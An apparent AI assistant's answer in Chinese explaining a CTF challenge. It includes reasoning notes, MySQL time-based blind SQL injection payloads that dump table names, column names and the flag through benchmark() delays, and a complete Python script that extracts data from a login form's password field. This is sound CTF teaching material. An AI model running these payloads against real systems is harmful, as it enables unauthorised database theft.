<think>用户要求提供 "[Dest0g3 520迎新赛] Really Easy SQL" 题目的解题方法。根据提供的引用内容,解题代码已经给出,但需要解释其原理和步骤。
首先,分析引用中的解题代码:
这是一个Python脚本,使用requests库发送HTTP POST请求进行基于时间的SQL盲注。
解题步骤解析:
1. 目标URL:`http://c3a1a543-3a1c-4f1c-9e6b-1fd5fcf8b280.node5.buuoj.cn:81/`(实际题目环境可能不同)
2. 盲注类型:时间盲注(通过benchmark函数制造时间延迟判断条件真假)
3. 注入位置:登录表单的password字段(从代码中data字典的键名推断)
代码流程:
- 外层循环:遍历flag字符串的位置(i从1到43,说明flag长度预估为43字符)
- 内层循环:遍历ASCII码值(从40到136,覆盖了可打印字符范围)
- 构造payload:每次测试一个字符的ASCII码是否等于j
- 如果条件成立,执行`benchmark(2000000,md5(1))`制造延迟(约0.2秒)
- 条件不成立则不延迟
- 超时处理:设置requests的超时为0.2秒,若发生超时异常(即条件成立导致延迟),则将该字符加入flag
- 延时控制:每次请求后sleep 0.2秒避免触发防护;每完成一个字符后sleep 1秒
payload分析(按注释顺序):
1. 爆表名payload(已注释):
```python
"0'or(if((ascii(mid((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),{},1))={}),benchmark(2000000,md5(1)),0))or'".format(i,j)
```
- 作用:获取当前数据库的所有表名
- 关键部分:`select group_concat(table_name) from information_schema.tables where table_schema=database()`
- 结果:从代码注释看,得到表名`flaggg,user`
2. 爆列名payload(已注释):
```python
"0'or(if((ascii(mid((select(group_concat(column_name))from(information_schema.columns)where(table_name='flaggg')),{},1))={}),benchmark(2000000,md5(1)),0))or'".format(i,j)
```
- 作用:获取flaggg表的所有列名
- 结果:得到列名`cmd`(根据注释)
3. 最终使用的payload(爆数据):
```python
"0'or(if((ascii(mid((select(cmd)from(flaggg)),{},1))={}),benchmark(2000000,md5(1)),0))or'".format(i,j)
```
- 作用:从flaggg表的cmd列提取数据
- 注意:这里未加where条件,因此会返回多行数据的连接(但根据表名flaggg推测只有一行)
解题方法总结:
1. 识别注入点:登录框的password参数存在SQL注入漏洞(根据代码中的payload位置推断)
2. 判断注入类型:时间盲注(通过响应时间差异判断条件真假)
3. 逐步获取信息:
- 第一步:获取当前数据库的表名(得到flaggg和user)
- 第二步:选择flaggg表,获取其列名(得到cmd)
- 第三步:从flaggg表读取cmd列的值(即flag)
4. 自动化脚本:编写Python脚本遍历每个字符的ASCII值,通过时间延迟判断正确字符
注意事项:
- 实际解题时需调整超时阈值(timeout)和延迟时间(benchmark参数)
- 表名/列名可能需要用反引号包裹(如特殊字符)
- 若有多行数据,需使用limit或group_concat
改进建议:
- 使用二分查找优化字符猜解(减少请求次数)
- 添加错误重试机制(网络波动可能导致误判)
- 验证flag格式(如以flag{开头)
因此,完整解题步骤为:
1. 运行提供的Python脚本(需取消对应payload的注释)
2. 按顺序执行三个步骤(爆表名→爆列名→爆数据)
3. 获取最终的flag
§§相关问题§§
1. SQL时间盲注的原理是什么?
2. 如何防御SQL注入攻击?
3. 除了时间盲注,还有哪些SQL盲注方法?
</think>### [Dest0g3 520迎新赛] Really Easy SQL 解题方法
本题是一个基于时间盲注的SQL注入挑战,通过分析代码,解题流程分为以下三步:
#### 🔍 **步骤1:获取表名(爆表)**
```python
payload = "0'or(if((ascii(mid((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),{},1))={}),benchmark(2000000,md5(1)),0))or'".format(i,j)
```
- **原理**:通过`information_schema.tables`查询当前数据库(`table_schema=database()`)的所有表名
- **关键函数**:
- `group_concat()`:合并查询结果
- `mid(字符串,起始位置,长度)`:截取字符串
- `benchmark()`:制造时间延迟(200万次MD5计算)
- **结果**:得到表名`flaggg, user`[^1]
#### 🔍 **步骤2:获取列名(爆列)**
```python
payload = "0'or(if((ascii(mid((select(group_concat(column_name))from(information_schema.columns)where(table_name='flaggg')),{},1))={}),benchmark(2000000,md5(1)),0))or'".format(i,j)
```
- **原理**:在已知表名`flaggg`后,从`information_schema.columns`查询其列名
- **结果**:得到列名`cmd`(存储flag的列)[^1]
#### 🔍 **步骤3:提取flag数据**
```python
payload = "0'or(if((ascii(mid((select(cmd)from(flaggg)),{},1))={}),benchmark(2000000,md5(1)),0))or'".format(i,j)
```
- **原理**:逐字符提取`flaggg`表中`cmd`列的数据
- **自动化流程**:
1. 外层循环`i in range(1,44)`:遍历flag的43个字符位置
2. 内层循环`j in range(40,137)`:遍历ASCII可打印字符(40-136)
3. 通过响应超时(`timeout=0.2`)判断字符正确性:
- 若字符匹配 → 触发`benchmark()`延迟 → 请求超时 → 记录字符
- 若不匹配 → 正常响应
#### ⚠️ **注意事项**
1. 延迟控制:
- `time.sleep(0.2)`:防止请求过快被拦截
- `timeout=0.2`:需与`benchmark`耗时匹配
2. 绕过技巧:
- `0'or(...)or'`:闭合原始SQL语句
- 注释符`--`被过滤时,用`or'`巧妙闭合引号
3. 结果验证:
- Flag通常以`flag{`开头
- 最终输出示例:`flag{xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx}`
#### 💻 完整利用脚本
```python
import requests
import time
url = "http://目标网址/"
flag = ''
for i in range(1, 44): # 遍历flag位置
for j in range(40, 137): # 遍历ASCII字符
# 选择需要执行的payload(分三步)
payload = f"0'or(if((ascii(mid((select(cmd)from(flaggg)),{i},1))={j}),benchmark(2000000,md5(1)),0))or'"
data = {'username': 'a', 'password': payload}
try:
r = requests.post(url, data=data, timeout=0.2)
except requests.exceptions.Timeout: # 捕获超时异常
flag += chr(j)
print(f"[+] 发现字符: {chr(j)} → 当前FLAG: {flag}")
break
time.sleep(0.2) # 防止请求过快
time.sleep(1)
print(f"\n[✔] 最终FLAG: {flag}")
```